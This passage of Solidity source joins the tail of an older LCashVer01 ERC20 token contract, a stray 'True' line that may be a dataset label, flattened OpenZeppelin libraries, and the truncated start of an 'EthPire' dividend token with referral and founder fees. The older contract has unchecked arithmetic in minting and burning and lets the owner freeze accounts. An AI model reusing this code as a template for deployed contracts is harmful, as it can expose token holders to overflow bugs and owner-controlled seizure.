Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* LCashVer01 TOKEN STARTS HERE */ /******************************************/ contract LCashVer01 is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = this; require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }

True

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// File: node_modules\@openzeppelin\contracts\utils\EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: node_modules\@openzeppelin\contracts\GSN\Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts\access\AccessControl.sol /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin\contracts\math\SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Pausable.sol /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts\EthPire.sol contract EthPire is Context, AccessControl, Pausable, IERC20 { using EnumerableSet for EnumerableSet.AddressSet; using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) internal referralBalance_; mapping (address => int256) internal payoutsTo_; mapping (address => uint256) internal ambassadorAccumulatedQuota_; uint256 private _totalSupply = 0; uint256 internal profitPerShare_; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant AMBASSADOR_ROLE = keccak256("AMBASSADOR_ROLE"); address payable public constant NULL_ADDRESS = 0x0000000000000000000000000000000000000000; uint256 constant internal dividendFee_ = 15; uint256 constant internal referralFee_ = 3; uint256 constant internal founderFee_ = 3; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; // proof of stake (defaults at 1 token) uint256 public stakingRequirement = 1e18; // ambassador program uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 1 ether; EnumerableSet.AddressSet internal _founderAccounts; bool public onlyAmbassadors = false; constructor(string memory name, string memory symbol) public payable { _name = name; _symbol = symbol; _decimals = 18; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); _setupRole(PAUSER_ROLE, msg.sender); _setupRole(AMBASSADOR_ROLE, msg.sender); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal { require(!paused(), "ERC20Pausable: token transfer while paused"); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!onlyAmbassadors && amount <= _balances[sender]); _beforeTokenTransfer(sender, recipient, amount); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); uint256 _tokenFee = SafeMath.div(SafeMath.mul(amount, dividendFee_), 100); uint256 _founderBonus = SafeMath.div(SafeMath.mul(amount, founderFee_), 100); uint256 _taxedTokens = SafeMath.sub(amount, _tokenFee); uint256 _dividends = tokensToEthereum_(SafeMath.sub(_tokenFee, _founderBonus)); // burn the fee tokens _totalSupply = SafeMath.sub(_totalSupply, _tokenFee); // exchange tokens _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] 